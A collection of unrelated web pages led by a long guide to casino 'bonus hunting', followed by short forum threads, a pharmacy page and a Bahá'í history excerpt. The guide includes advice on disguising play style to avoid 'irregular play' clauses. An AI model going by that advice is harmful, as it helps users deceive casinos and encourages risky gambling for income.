In the past, bonus hunting was relatively easy, because online casinos’ bonuses were big, had low wagering requirements and no restrictions on allowed games. That meant that players could just use the bonuses and rely on their positive expected values to make a profit in the long run.
Let’s say a player got a $200 bonus with WR of 25x. He is trying to meet the WR by playing a slot game with RTP of 98 %. Therefore, the casino has a 2 % edge, which means that the player statistically loses 2 % of every bet he makes. The expected value of a bonus in this case is $200 * (100 % - 25 * 2 %) = $100.
That’s pretty much how it used to work. Unfortunately, bonuses like this are a thing of the past.
Bonus hunting nowadays
Nowadays it’s completely different. Casinos have improved their calculations and generally don’t offer bonuses that can be cleared with profit with such ease. However, that doesn’t mean that players can’t still use casino bonuses to make money. It’s much more complicated though.
If you're wondering how to make money gambling online, the method I'm about to describe might present a good answer. However, keep in mind that it's definitely not for everybody.
Bonus hunting nowadays is based on high volatility and requires a big bankroll, willingness to spend a lot of time and strong nerves to overcome losing streaks that are unavoidable with this kind of a strategy.
It works something like this:
1. Make a deposit and get a bonus.
2. Start playing very aggressively. Choose a slot with high variance and play until you hit a big win or lose everything.
3. If you lose everything, you have to move on and get a bonus at a different casino. But if you win, you should have a big enough buffer that should allow you to comfortably meet the WR of your bonus and cash out.
You have to repeat this strategy numerous times in order to be profitable. Of course, you can be lucky the first time, however, you can also be unlucky and still be losing money after 100 tries. For the 96 % RTP slot I used in my simulations, the probability of being in the reds after 100 bonuses is still a bit over 30 %. After 500 bonuses, it drops to 7,5 %. So, even after 500 bonuses, there is still a chance to be in red numbers. Although, that doesn’t change the fact that this strategy is profitable in the long run.
No deposit bonuses and freebies
However, there are still bonuses that can easily be cleared with profit, even in the current state of online gambling market. No deposit bonuses and freebies can be used to make money, albeit very little of it. They don’t cost you anything and you can get a few bucks out of them.
This was a short summary of the entire article about bonus hunting. I wanted you to have a basic overview of the topic before getting started with the detailed information and instructions supported by simulations you can find below. Enjoy!
1. Former bonus whoring based on positive expected value
2. Freebies and no deposit bonuses
3. Bonus hunting nowadays based on high volatility
Bonus hunting in the past – positive expected value
Let’s start with how it all began.
Bonus hunting reached its peak between 2000 – 2006. The online gambling industry was new. Awareness of all the gambling math formulas wasn’t that high among casino managers and so many casinos offered high bonuses with low wagering requirements (WR) and no restrictions on allowed games. Finding a 200% bonus with 25x wagering requirements was quite common.
Bonus hunters at that time were able to exploit the positive expected value of a bonus when played on a certain game. The formula for this is quite simple:
Expected value = 100% - (WR * HOUSE EDGE)
If you have a $200 bonus and play Blackjack with a HOUSE EDGE = 0.5% it means that with every bet you statistically can expect to lose 0.5% of your bet. When you turn over your money 20 times you can expect to end up with
100% - (20 * 0.5%) = 90% of your money
When you do the same on slots with RTP = 96% then you end up on average with 20 % of your starting bankroll. The bonus hunting strategy was very simple:
1. Find a bonus and an allowed game with a positive expected value
2. Play small bets until you meet the wagering requirements
3. Withdraw the remaining money (ie your profit)
The following graph displays the budget over time for players playing $1 bets on either black or red on French Roulette. With a $200 starting bankroll and wagering requirements of 20x, after turning the bonus over you can expect to end up with 46% of $200 which is 92 bucks.
In the graph you can see I did 5 runs and each is marked with a different color. You can easily see that each of the players would comfortably rollover his bonus ending up with $80 up to $150 in his account.
Budget over time for players placing $1 bets on either black or red on French Roulette.
Casinos' countermeasures
So why did it take casinos so much time to notice this pattern? I’m not exactly sure but here are 2 possible reasons:
• Many casinos were making nice profits anyway and were afraid of offering lower bonuses than their competition.
• Startups (which casinos were that time) tend not to worry about a few bucks here and there if they have hands full with the task of growing and making money.
But in the end the casinos did notice and over time have implemented some countermeasures. Most of these are now found in bonus terms and conditions:
• Contribution to wagering requirements was decreased for games with higher RTP. For example, Blackjack often contributes to meeting WR only with 5% of the bet or doesn’t contribute at all.
• Wagering requirements were increased to more than 40x for standalone bonuses and to more than 25x for bonuses bound to the original deposit.
• Low risk betting (like covering whole roulette wheel with bets) was forbidden
Funny fact: the 3rd mentioned condition is absolutely not needed if the former 2 are applied but as a relict is still present in bonus conditions of many casinos.
Casinos had to react, because players kept looking for instructions how to make money in online casinos and how to make money from online casino bonuses. The situation in the past allowed them to win big money in the casino, which, of course, wasn't good for the casinos themselves.
The present situation
After year 2006 the awareness of bonus hunting among casino managers significantly increased and now it’s extremely rare to find a bonus with a positive expected value. The best bonuses had an expected value close to 0.
The following picture simulates 5 players playing 1$ spins using a $200 bonus with WR 50x on a medium variance slot:
Simulation of 5 players playing 1$ spins using a $200 bonus with WR 50x on a medium variance slot.
Due to RTP of around 96% and medium variance all 5 players hit the ground far before reaching the 10 000 spins required to meet WR. Even the best bonuses offered by casinos have a positive expected value of close to the deposit even if played on 98% RTP slots. That is the main reason why bonus hunting based on positive expected value is history.
But don’t be disappointed. There are still 2 other viable options for how to hunt for bonuses in online casinos.
Freebies and no deposit bonuses
Do you remember from history lessons how paleolithic tribes were classified either as hunters or gatherers? No deposit bonuses are closer to bonus-gathering than bonus-hunting. Don’t expect big prey but at least an animal won’t wound you. The gambling community calls these guys freebies.
No deposit bonuses are small bonuses given by casinos usually as a reward for registering a new account. The most common forms are free spins and free cash. You can play with these bonuses and win some limited amounts of money. Do this in 200 casinos and with a little luck you’ll end up with a few hundreds of $.
Free cash and free spins are offered as a form of marketing. If you are from a rich western country, you’ll get some kind of no deposit bonus in every second online casino. If you are from Russia or any other country famous for bonus abusing you’ll have problems to find them. I was trying hard and was barely able to fill the first page of no deposit bonuses for Russian players.
So how should you collect these kinds of bonuses?
How to play no deposit bonuses
The first thing to do is that you have to find casinos which will give you a no deposit bonus. My list of no deposit bonuses is the perfect place to start.
Then you have to sign up. Keep in mind that these bonuses are a kind of trade between you and the casino.
To get the bonus you need to provide your personal details, email address and sometimes phone number. To get paid if you win you’ll need to prove that these details are correct, send your ID and maybe even make a deposit as another form of verification. That’s how casinos protect themselves from giving the bonus to the same players over and over.
Note: Please don’t create more than 1 account in 1 casino! You’ll never ever get paid anyway and you can piss the casino off and they may stop giving this bonus in the future. When I asked affiliate managers why they don’t want to give bonuses to players from certain countries, they replied that they had a lot of players from some countries with 10-20 accounts. They didn’t have to pay for any wins but they had to pay to the game provider for the free spins anyway.
So you have signed up and validated your email address and phone number. Sometimes you’ll need to ask for a bonus on live chat or provide some sort of bonus PROMO CODE.
Now you have a bonus. How do you play it the most effective way?
Step 1: With free spins you don’t have many options. Just spin with predetermined bet size and see what you win. When you finish the free spins, you’ll actually end up with something similar to a free cash bonus.
Step 2: Carefully read the terms and conditions of the bonus. Focus mostly on
• Wagering requirements
• Maximal amount converted to real money
• Maximal bet and maximal line bet (never ever exceed these!)
Step 3: You have to decide how aggressively you will play. Aggressiveness is just another name for the volatility of your strategy:
• Very aggressive strategy: bet high in few spins and either lose quickly or win nice money
• Low volatility strategy: bet small amounts, lose gradually and hope for a medium win
The key is in finding a good balance. With too aggressive a strategy you’ll waste almost immediately 98% of your bonuses. For the remaining 2% you’ll end up with quite a big bankroll, but you’ll be hit with the maximal converted amount rule and you’ll get only 50-100 dollars. With too defensive a strategy you’ll lose all bonuses before meeting the wagering requirements.
Finding the optimal strategy
Finding optimal strategy just by experience would be too inaccurate. To find the optimal strategy I have reverse-engineered 2 NetEnt slots (high variance with 98% and medium variance with 96% RTP) and carried out a lot of simulations. I have also modified those slots to 92%, 96% and 98% payout to observe the influence of RTP on your chances to win.
My methodology: Imagine a player who starts with a bonus with value $100 which has 50x wagering requirements and maximal converted value $500. What percentage of a bonus will that player be able to convert if he bet X on certain slot Y? We calculate the converted percentage (later referred as EFFECTIVENESS) by simulating the situation 100 000 times.
Running this algorithm a few times I was able to find the optimal bet for certain slot configurations. For example the following chart shows how effectiveness changes with bet size on 96% high variance slot:
How effectiveness changes with bet size on 96% high variance slot
Playing a little with bet sizes around 0.50% of the original bonus value I have found out that the most effective bet in this case is 0.30% of the bonus. 0.30% of $100 bonus is $0.30. I state bet size in % of bonus as chances are equal for $0.03 bet and $10 bonus and for $0.30 bet and $100 bonus.
Then I have experimented with other slot configurations and bet sizes:
• 92% high variance is most effective at 1% bet (20.17% effectiveness)
• 96% high variance is most effective at 0.30% bet (36.21% effectiveness)
• 98% high variance is most effective at 0.20% bet (53.54% effectiveness)
• 92% medium variance is most effective at 2% bet (21.75% effectiveness)
• 96% medium variance is most effective at 0.80% bet (38.17% effectiveness)
• 98% medium variance is most effective at 0.50% bet (55.50% effectiveness)
What patterns have I observed?
If maximal converted value is 5x bonus then a medium volatility slot is doing a little better. RTP is the most significant indicator for the success so you should pick your slot by RTP. Higher RTP works more effectively with lower bets. Same is true for the slot volatility.
Now imagine that you win in free spins $2 and your max. win is restricted to $50. The situation is a lot different as now you can cash-out up to 25 times of the original bonus which favors more high volatility games.
To make your bonus journey more effective:
I have run tons of simulations and compiled tables for various maximal converted values (X times bonus). This table contains optimal bet size with $100 bonus and expected effectiveness for all 6 slot configurations. For different starting bonus size you’ll need to use proportional bet size. All values are calculated for 50x wagering requirements:
Optimal bez size by maximum converted bonus value
Table: Optimal bet size on various slots for bonuses with restricted maximal converted value
You can see that the effectiveness is crazy when you have no bet limit or very high bet limit. But also the chance to convert one bonus is very low: while for $100 bet on 98% RTP high variance slot it’s just 1.1% for $1 bet on the same slot chance to convert is 8.85% with 79% effectiveness.
Since the vast majority of no deposit bonuses have restrictions for maximal converted value I’m not stating the chance to convert the bonus in the table. If you decide to choose a bet for optimal effectiveness then the chance to convert a bonus is also quite good.
Conclusion: Free bonuses are a good option to make some money for a coffee or beer. But if you are eager to win more money (for a nice new bicycle for example) then read my next chapter which focuses on real bonus hunting.
Bonus hunting nowadays (strategy based on high volatility)
I’ll show you now a bonus hunting technique which should still work. BUT at the same time I MUST WARN YOU that this technique is much riskier and requires much more work and knowledge than bonus hunting 15 years ago.
Overview - how it works:
• You deposit $100 and get for example $200 to play with. Let’s assume that WR are 35x$200.
• You start playing with a more aggressive style until you lose everything or multiply your bonus balance many times. Let’s say that you get to $5000 or more.
• You continue playing. Your buffer should be big enough to comfortably meet WR.
If you play normal 100% up to $100, 35x WR welcome bonuses with $10 bets played on 96% high variance slot then (according to my simulations) you convert on average 80% of the bonus value. That’s $60 made in the long run on every bonus.
Let me guess what you are thinking about:
1. "Wow, it sounds awesome!"
2. "Great, this will this be my new moneymaker?"
3. "Are there any strings attached?"
4. "When I buy a new bicycle with my winnings, what color will it be?"
1. Yes, it does sound awesome.
2. Depends on your decision, current bankroll and dedication.
3. Yes there are some and quite important BUTs.
4. Pink or black?
So where are the potential problems?
Problems of high volatility bonus hunting strategy
Problem #1 - Lack of Luck
You have an advantage on your side but you can be unlucky as well. Your chance to convert $200 bonus from the example above is around 4.9%. If you are very unlucky, you can make 50 attempts with no success.
You need a big bankroll when you start, accept the risk and be prepared to repeat this with 50-100 bonuses. Also your real converted value of a single bonus can vary from few hundreds up to few tens of thousands.
Following table displays your approximate chance to lose all N bonuses and your chances of experiencing a loss after N attempts. For the simulation I have used my reverse-engineered 96% high variance slot.
Lose All Bonuses Table EN
Despite the fact that average profit correlates with the number of bonuses played, your chance to be in total profit grows quite slowly.
After 200 correctly played bonuses there will be still almost 20% of players who will be in the red. Other players will make more than average but that won’t help you much if you are among those 20%, have spent weeks on chasing bonuses, and ended up in loss just due to bad luck.
And you may also run out of the bonuses – there are many hundreds of casinos but not many thousands of them.
The following graph visualizes the chance to be in profit/loss after playing N bonuses:
Chance to be in loss after N bonuses
You may also wonder how much money you need to start. In the following table I have calculated the chances of you losing your whole budget before statistics/averages start to act in your favor:
Initial budget Chance to lose the whole budget
$1000 81%
$2000 66%
$5000 36%
$10000 13%
$20000 1.7%
$30000 0.3%
$50000 <0.1%
My conclusion is that you should have at least $20000 to have a reasonably low chance of failure. Or you can either start with the best bonuses or take lower bonuses, choose slot with medium to low variance and try to build your bankroll gradually.
Bonus hunting of 15 years ago didn’t have this problem at all. You were getting profit from every bonus you played. If you are looking for a way how to win at the casino every time nowadays, you are simply out of luck. Unfortunately, there is no such thing anymore.
Problem #2 - Very high wins in few casinos
Now imagine that you have started to play this bonus hunting game. After 40 bonuses and $4000 lost you finally hit $7000 in one of the casinos. Will they pay you?
If you were really careful and haven’t broken any specific rule from bonus terms and conditions then the casino will most likely pay you at the end. But sometimes you’ll probably need to make your case public on one of the mediation forums like Askgamblers and escalate….sometimes repeatedly.
On the one hand a good casino manager may notice from your betting style that you are a bonus hunter. Your style with higher variance will differ a little from the style of casual players who are just killing their time in the casino. But most of the casinos will pay despite they think that you are a bonus hunter. They don’t want to risk their reputation for few thousand dollars.
Many casinos have introduced an "irregular play" clause with the intention of repelling bonus hunters. This clause usually states something like:
"If we notice any kind of irregular play with bonus (a.k.a. bonus hunting) we reserve the right to void the bonus"
I haven’t seen so far that any reputable casino would use this in case of dispute on some mediation platform. But the risk is still considerable. At the end the casino has the money in its account. If the casino decides to risk its reputation and not to pay you, you simply won’t get paid. No need to tell that 40 other casinos won’t return you your deposits either.
If you want to decrease the chance of being accused of bonus abusing by displaying irregular play then you must avoid making an obvious change in your game style. Or at least make attempts to disguise it.
An example for this would be to decrease your bet size to 10% of former bet size after you win high. Keep the same bet even after you win high and don’t give the casino an excuse not to pay you. This will increase the volatility of your betting strategy but not that much as you might think. And your long-term profit remains same. My simulation shows that dropping bet size after a big win to 10 % will decrease your chances of going bankrupt with $5000 budget from 36 % to 27 %.
As you’ll need to play hundreds of bonuses you can’t be overly picky about casinos. But be especially aware of very small casinos with low revenues. Small unknown casinos can have monthly revenues of around $10 000. If a casino manager has a choice either to not pay to his employees or to not pay to some bonus hunter, guess which choice he will choose.
You should also keep in mind that you can’t choose the casino in which you’ll manage to convert your bonus. Which casino - out of all the casinos where you deposited - will be the one where conversion is successful is of course going to be decided by pure chance.
Problem #3 - skill and time required
High variance bonus hunting requires a lot of knowledge. You should be able to:
• Carefully read and understand the terms and conditions of bonus offers and casinos which offer them.
• Ask the casino to explain any ambiguous conditions and save the chat/email as evidence for the future.
• Choose the most suitable - and allowed - combination of slot and betting strategy. Decide whether the bonus on offer gives you a sufficient statistical advantage.
• Evaluate a casino’s reputation and again decide whether to play the bonus or not.
• Escalate and argument on mediation websites if a casino refuses to pay you out.
And even if you are good at all of the above, it will take you probably hundreds of hours to make some reasonable money. That is the main reason why I’m not doing this myself: with my skills I can make the same money in different activities (software development for example).
If you think that you can properly do everything described above I may have a better job for you ;).
Problem #4 - not enough good casinos and bonuses
This is more likely to be a problem if you reside in one of countries where gambling is illegal or strictly regulated, or if you reside in country which is well known for bonus abusing.
In this case, your choice of casinos and bonuses is limited and you’ll never find the hundreds of bonuses required to play this strategy.
Tips and tricks for high volatility bonus hunting
If you are still thinking about getting involved in bonus hunting, then read my tips and tricks before you start. You’ll for sure need to fully understand:
• Which terms and conditions affect your decision to accept/don’t accept bonus offers
• How to choose the most suitable game and tricks to manipulate game volatility
Bonus terms & conditions to consider (from most important to least important):
Is the bonus connected to a deposit?
This is a condition which is much more important than it looks at first glance. If your bonus isn’t connected with a deposit then you can play with your real money without restrictions. If you are lucky, then you can forfeit the bonus and withdraw your win. If you are not lucky then you have a follow-up 2nd chance with the bonus.
If you have a bonus which is NOT CONNECTED TO A DEPOSIT then neither maximal bet restrictions nor game restrictions will be applied for RM play.
The biggest advantage is that you don’t need to increase your bankroll that aggressively as you don’t need any buffer for fulfilling the WR. I would recommend you to spin with 5% of your real money per round on any medium variance slot with high RTP. Withdraw when you increase your bankroll more than 7 times.
What’s really great about this type of bonus is that you statistically lose only a small part of your deposit (8-16%). Then you have the whole bonus to compensate it and make profit. That is truly a game changer – even a 25% bonus with 50x WR should be profitable in the long run under these circumstances.
After you have either lost the RM or if the bonus is connected with a deposit then follow the following advice:
Bonus size ( in %)
Bonus size determines your buffer for wagering. You lose money by spinning and you gain money when you get the bonus. If bonus is played together with deposit, then bonuses below 25% are usually not profitable. Profitability of bonuses in range 25%-90% depends on bonus size and your options for how to play them. Bonuses over 90% are usually profitable.
Bonuses over 90 % are usually (not always) profitable. The profitability of lower bonuses generally depends on the WR and other factors.
Maximal converted value
This restriction is usually applied on bonuses not connected to deposit. If you come across this rule for bonus connected to the deposit the best advice is to keep hands off. An optimal way to play this bonus can be found in my how to play no deposit bonuses section.
Maximal bet, maximal bet per line, max. double-up bet and game restrictions
The majority of casinos already know about high volatility bonus abusing. Some of them have added restrictions which prevent or limit the use of betting strategies which are too volatile:
• Maximal bet restriction prevents you to play betting strategy with extremely high volatility.
• Maximal bet per line prevents you from increasing game volatility by switching to 1 line.
• Maximal double-up bet prevents you from regulating game volatility by doubling up your win until you lose or win a really high amount.
• Game restrictions prevent you from using either the most volatile slots or table games with very high RTP (like Blackjack).
Bet and game restrictions are the most difficult part to incorporate into your strategy. You are basically looking for answers to such questions as:
"If I start with $100 and spin $5 on Starburst, what is my chance to convert the bonus? What will be the average amount which I reach when I meet WR?"
It’s a very difficult question to answer. In fact not one to ultimately answer here and now… but when CasinoGuru grows its audience we’ll look at creating an online simulator ;-).
Until then you can try to use my tables at the end of this article.
Wagering requirements
WR are still quite overrated… Maybe a relic from 15 years ago when they were a very important part of the bonus hunting landscape.
With high-volatility bonus hunting WR just determine a relatively small part of your win which you’ll need to spend after you managed to hit a high win.
Imagine that your goal is to get to $3000 or more from a $100 bonus. In this case the difference in expected converted amount between 25X WR and 100X WR with 4% house edge is just $100 vs. $400 out of more than $3000. It’s considerable but not extremely important.
How to choose suitable games – plus tricks to increase slot volatility
Your goal in this type of bonus hunting is to strike a balance between statistical profitability on one side and the risk of either bad luck or the casino won’t pay you on the other. Pushing volatility to extreme levels unnecessarily increases 2 previously mentioned risks. And as my simulations show you can comfortably achieve profit anyway without pushing too much.
An important task is to estimate slot volatility and find out its RTP:
• RTP is usually published by the slot producer.
• Check the pay table and how much the full line of major symbols pays.
• Full line in high variance slots usually pays 4000 and more
• Full line in medium variance slots usually pays around 500
• Read the rules and special features
• Figure out what is the maximal win in 1 spin and how you can achieve it
• Max. win in low variance slots is 250x bet or less
• Max. win in medium variance slots is around 500x bet
• Max. win in high variance slots is 2000x bet or more
• Count the frequencies of high-paying symbols on the reels and estimate frequencies of high winning combinations
• Count the frequencies of game features
• Spend significant time playing in demo mode and keep statistics of winning rounds
• At the end you should figure out the share of money paid as wins higher than X-times the bet
My simulations show that for bonus hunting the most suitable slots are with medium or high variance and RTP over 96% (RTP is a very important factor). I was very surprised when I found out that it’s not necessary to push volatility into extreme levels – you are more comfortably profitable if you keep a reasonable balance, and your game style will be much closer to the style of a casual gambler.
After you have determined the slot RTP and estimated its variance, then check the following tables to choose the suitable bet size. Tables at the end of this article will give you an idea about your chances.
Even if you usually don’t need to push volatility to the extreme, I’ll tell you some tricks about how to increase it. These tricks may come in handy for very high bonuses:
Double-up option/gambler feature
Some slots have a feature which allows you to double your win or lose it with chance 50:50. This is the ultimate feature to regulate the volatility of a slot game: simply double up until you win high enough or until you lose. And since the chance is 50:50 you are statistically not losing anything.
By abusing this feature you can theoretically reach effectiveness of bonus conversion close to the game RTP. But your playing style will be very suspicious.
Be careful as this feature is usually prohibited or restricted in bonus conditions.
Change number of winning lines to 1
If you play a slot with 20 winning lines and hit a winning combination only on 1 line, the win is split among the bet on all 20 lines. So even if that one line won 10 coins, the bet for the whole round was 20 coins and you actually lost 10 coins. This happens most of the time with the exception of some special slots with features which allow you to win on all lines simultaneously.
The exact opposite is when you decrease the number of winning lines to 1. You either hit a combination which gives you 3-15000x of your bet or you lose. This trick increases volatility of the game 5-15 times (depending on the number of lines and other features of a game).
Note that with a lower number of lines the maximal bet allowed by game is usually decreased as well. However that is a good tradeoff if your maximal bet is already restricted by bonus conditions.
Be aware that some casinos already know about this trick and restrict maximal bet per winline when playing with bonuses.
Take lower bonus
If maximal bet limits are set as absolute values (max. $5 for example) you can increase your relative volatility by decreasing bonus size. So while $1000 bonus is not profitable, $200 bonus with all other conditions equal can be comfortably profitable.
Less is sometimes more.
I think that high volatility bonus hunting is nowadays still possible but it definitely isn’t for everyone. It’s for experts who can perform the required math, who are willing to read tons of casino terms of service, and who have a big enough budget to fund temporary losses.
And what about the future?
I don’t see a bright one for bonus abusing. More and more casinos are fixing the last cracks in their terms of service, which is why casino winning tips such as those in this article might only work for a limited time.
On top of that with increasing regulation the choice of online casinos will become more and more limited for everyone.
Countries like Peru which a few years ago had almost no idea about online gambling are now founding their own regulators and stop respecting licenses from trustworthy worldwide regulators like Malta.
Countries with freedom of speech like Czech Republic are adopting legislation for internet blocking like in Russia just to block foreign casinos and bookies.
When most players end up with a limited choice of 20-30 casinos then the times of bonus hunting will definitely be over.
Attachment: bonus conversion statistics tables
I have run a number of simulations to build a picture of the chances to convert certain types of bonuses. If you're looking for the best way to make money at casinos, these simulations might complete the picture. The best way to clear casino bonuses is right here.
Each of the following 12 tables shows statistics for the combination of 25x or 50x wagering requirements and one of my 7 reverse-engineered slots.
Each row displays values for certain bet size (denominated in % of original bonus). The displayed values are following:
• Effectiveness: the percentage of original bonus that is converted. If you are expected to have an advantage then the following equation must be true:
bonus value x effectiveness > bonus cost
• Average converted amount: denominated in multiples of original bonus value expresses what average converted bonus can you expect.
• Chance to convert: denominated in % shows your chance to convert a single bonus. Note that following the formula applies:
Effectiveness = Average converted amount x chance to convert
P.S.: medium/high volatility terms are not exact. If you want to be absolutely sure about the performance of specific slots then reverse-engineer them and make your own calculations. Slots with similar-looking volatility may differ in bonus conversion effectiveness at a rate of anywhere from 10-20%. I’m not publishing names of simulated slots on purpose - simply because I don’t want to encourage masses of players to get into bonus hunting.
P.S. 2: Many thanks to Steve from Win money 101 dot com for language corrections. This article was really long one, the work he did was priceless.
25x WR and 92% RTP medium volatility slot
Table 1 EN
25x WR and 92% RTP high volatility slot
Table 2 EN
25x WR and 96% RTP medium volatility slot
Table 3 EN
25x WR and 96% RTP high volatility slot
Table 4 EN
25x WR and 96% RTP extreme volatility slot (1 winning line out of 10)
Table 5 EN
25x WR and 98% RTP medium volatility slot
Table 6 EN
25x WR and 98% RTP high volatility slot
Table 7 EN
50x WR and 92% RTP medium volatility slot
Table 8 EN
50x WR and 92% RTP high volatility slot
Table 9 EN
50x WR and 96% RTP medium volatility slot
Table 10 EN
50x WR and 96% RTP high volatility slot
Table 11 EN
50x WR and 96% RTP crazy volatility slot (1 winline)
Table 12 EN
50x WR and 98% RTP medium volatility slot
Table 13 EN
50x WR and 98% RTP high volatility slot
Table 14 EN
Recommended online casinos:
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global_01_local_1_shard_00001926_processed.jsonl/27200
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Grameen Foundation School's In!
Video URL:
Charity Name:
Grameen Foundation USA
CFC Number:
Charity Type:
School’s In. Why does our teacher wear sunglasses? Because we are so bright 50 million kids across the US are heading back to school but 263 million children around the world won’t hear that morning bell And they are just as bright and hungry to learn.
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global_01_local_1_shard_00001926_processed.jsonl/27223
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AnyDVD Refresh Rate Bug
Whenever I insert DVD my desktop refresh rate get turned down to 75Hz.
You can click the “DEFAULT” button in AnyDVD settings to repair invalid refresh rate settings.
What in CHRIST’S NAME are you both talking about? Refresh rates? AnyDVD? HUH!?!?!?!?!?
AnyDVD can start external programs depending on the media inserted. (Settings->External). SlySoft ships a command line tool “SetDisplayFrequency.exe” with AnyDVD, so you can adjust the refresh rate depending on the inserted DVD (NTSC/PAL).
I don’t use it, I use PowerStrip instead.
Yikes, never noticed that. Heh. How utterly… well I suppose for people with TV-out…
… or TV’s / Beamers with VGA or DVI in … :slight_smile:
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global_01_local_1_shard_00001926_processed.jsonl/27225
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Customized pain management benefits many patients by providing unusual doses of medication in the most appropriate form. By working with physicians, we are able to compound the following dosage forms to meet patients needs:
CAPSULES-We have the capabilities to make capsules with the exact amount of medication the physician wants. The drug can be in a capsule for immediate release, a slow release formulation, or in combination with other drugs.
SUBLINGUAL-This is absorbing medications in the mouth and is preferred in some cases for faster onset of action or avoiding swallowing problems. We can compound either drops or lozenge containing many different medicines.
TRANSDERMAL-Administering medications through the skin is preferred in many cases when patients are unable to swallow or when a local affect is necessary. This varies from applying an absorption enhanced gel containing a narcotic or anti-nausea medication for absorption into the blood stream to applying non-steroidal anti-inflammatory drugs for a local affect.
SUPPOSITORY-Many drugs can be administered rectally when necessary. We have the capability to compound suppositories containing many different medications.
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global_01_local_1_shard_00001926_processed.jsonl/27234
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File:Darren Collison Dunk.jpg
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Darren Collison performs dunk
Source Flickr: Darren Collison Dunk
Author Jose Garcia
(Reusing this file)
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current12:09, 15 June 2012Thumbnail for version as of 12:09, 15 June 20121,200 × 1,800 (1.32 MB)Steffaville (talk | contribs)Contrast, colors
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global_01_local_1_shard_00001926_processed.jsonl/27236
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The sound of your own voice
Do you guys ever hear your own voice and go…
Or see a picture yourself and react like…
Or am I the only one deluded into thinking I look and sound different than I actually do?
(Pirate hooker) #2
All the damn time
I’ve found that I’m not very photogenic.
slowly slips paper bag over head
(Crazyfoxlady) #4
All the time. Turns out I still sound like a seven year old…
(Lsama) #5
It’s interesting because what we hear is not what the rest of the world hears. But basically(in layman’s terms), because of the fact that our voices are coming out of our own mouths/skulls, it tampers with the way the acoustics in our ears register our voice. This typically makes our voices sound much deeper to ourselves, but not so deep to everyone else!
(Mr. Patterson ) #6
The only time this happened was when I came home after a long time and started to talk to myself in Japanese. For a few seconds I didn’t realize when I did I stopped in my tracks utterly confused as to what had made me switch my mental language.
@crazyfoxlady I sound like some Valley Girl mixed with Lena Dunham, which is not how I sound in my head. I get told frequently that I sound like my mother, but I just replayed a voice message I left for a friend, and I sound nothing like my mother.
(Jerr) #8
I think I sound like I little child when I hear my own voice.
Apparently my mom, 2 sisters and myself sound exactly the same. Was very weird when people would call when we lived in the same house.
We all hear our voice differently than an outsider’s because our bones make it sound deeper.
(Mike) #10
Of course you are. I live with the constant dilemma of having to choose between pictures that are good, and ones that actually look like me :smile:
(Mike) #11
Years ago, I used to be a radio host, so I’m pretty familiar with my own voice. Still sounds kinda dorky to me.
well what you’re talking about, presumably, is hearing a recording of your voice played back to you. technically you hear your own voice constantly. so much so that it immediately sounds strange and foreign when you hear a recording which doesn’t capture the full dynamics of your voice and has a bunch of other factors distorting its true sound. mostly what you’re reacting to is the change to something you’re intimately familiar with. it’s almost like hearing an alternate version of one of your absolute favourite songs. you’ve heard it so many times one way that when something is different about it your brain starts freaking out.
(Pirate hooker) #13
While I’ve got you in this thread and you’re obviously Canadian, how come not one of you has ever told me about poutine until today? I am highly annoyed at not knowing about this heart attack on a plate.
I don’t know where you have been all this time! There are at least 15 mentions of it in any post that talks about Canada.
@Jerduh It used to be big fun at holidays when we were all around, especially because my grandmother and I had the same name, so if you called and asked for Elisa, you most likely got my grandmother. And since we all sound the same over the phone, it was even more hilarious.
@MikeTheDane I did radio in college, and I always sounded way different over the mics there than I did even on a regular recording or an answering machine. Something about that technology turned me from sounding like a teeny bopper to a sex phone operator.
(Pirate hooker) #16
Yeah but I’m from the US, I can’t hear anything over the sound of my guns, my Jesus and my freedom
(Mike) #17
Ha ha, I’m not sure which I would prefer :smile:
This stupid “like” limit is preventing me from liking your comment
Imgur Community, y u do dis
(Mike) #19
I didn’t know there was such a thing.
(Pirate hooker) #20
it was all part of the plan
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global_01_local_1_shard_00001926_processed.jsonl/27242
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What’s Bugging the Students
“What's Bugging the Students,” Atlantic, November 1965.
What they seek is a pure and self-perpetuating popular revolution, not a “planned economy” or anything like that. And this is why they are so attracted to Castro’s Cuba and Mao’s China, countries where the popular revolution has not yet become “bourgeoisified.” As for mass terror in Cuba and China—well, this actually may be taken as a kind of testimony to the ardor and authenticity of the regime’s revolutionary fervor. Our radical students, like other radical students before them, find it possible to be genuinely heartsick at the injustices and, brutalities of American society, while blandly approving of injustice and brutality committed elsewhere in the name of “the revolution.”
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global_01_local_1_shard_00001926_processed.jsonl/27246
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Glass is Liquid Video
A lyrical study of glassblowers Justin Parker and Andi Kovel’s (aka
‘s) process, this video nicely compliments the 2007 mini-documentary Cool Hunting made on their studio. With a neat visual effect that makes the glass look hand-colored in an otherwise primarily black-and-white scene, filmmakers Mike Call and Boone Speed show the playfulness and intensity that goes into making their work. Credit for the score goes to Dave Madden of nonnon and our own contributor Russ Lowe stepped in to
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global_01_local_1_shard_00001926_processed.jsonl/27262
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I updated the website for Marion Baptist Church in Marion Texas. Their 31rst anniversary is coming up in April, and they wanted to add a note about it on their web page.
A rescued domain is coming up for renewal. It appears the church is gone. If anyone has any information about New Testament Baptist Church in King North Carolina, it would be greatly appreciated. Email me. The domain is not a church domain name, and I will renew it anyway, and make it available to any Fundamental Independent Baptist Ministry that might want it: www.laborersforjesus.com. If you would like to use the domain, send me an email.
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global_01_local_1_shard_00001926_processed.jsonl/27264
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The Day of God
Ustád 'Alí-Akbar-i-Banná
The Tablet of Tajallíyát* was revealed after the Kitáb-i-Aqdas around the year AH 1303 (AD 1885-6) in honour of Ustád 'Alí-Akbar-i-Banná (builder-architect),† a native of Yazd, a believer of staunch faith and devotion and one who at the end laid down his life in the path of His Lord. He was a building contractor of wide repute, well respected in government circles, and he was often engaged in construction work for the Governor of Yazd and other high-ranking officials.
When Ustád 'Alí-Akbar embraced the Cause he became filled with the spirit of faith. His soul was illumined by his intense love for Bahá'u'lláh, and he became a shining light among the members of the Bahá'í community of Yazd. His dedication to the Cause and enthusiasm for teaching it aroused the passions of the fanatical clergy who wrote his death warrant. This was in the year AH 1295 (AD 1878) when Nabíl-i-Akbar‡ had gone on a visit to Yazd. The Governor, who was on friendly terms with Ustád 'Alí-Akbar, advised both men to leave the city immediately for
* This Tablet has been translated in full into English and published in Tablets of Bahá'u'lláh, pp. 47-54.
† In the old days in Persia there were no colleges or universities in which students might graduate in the fields of science, art or technology. Those who were described as 'builder-architects' had learned their trade through practical experience working as apprentices to the great master-builders of the time.
‡ see above, ch. 3.
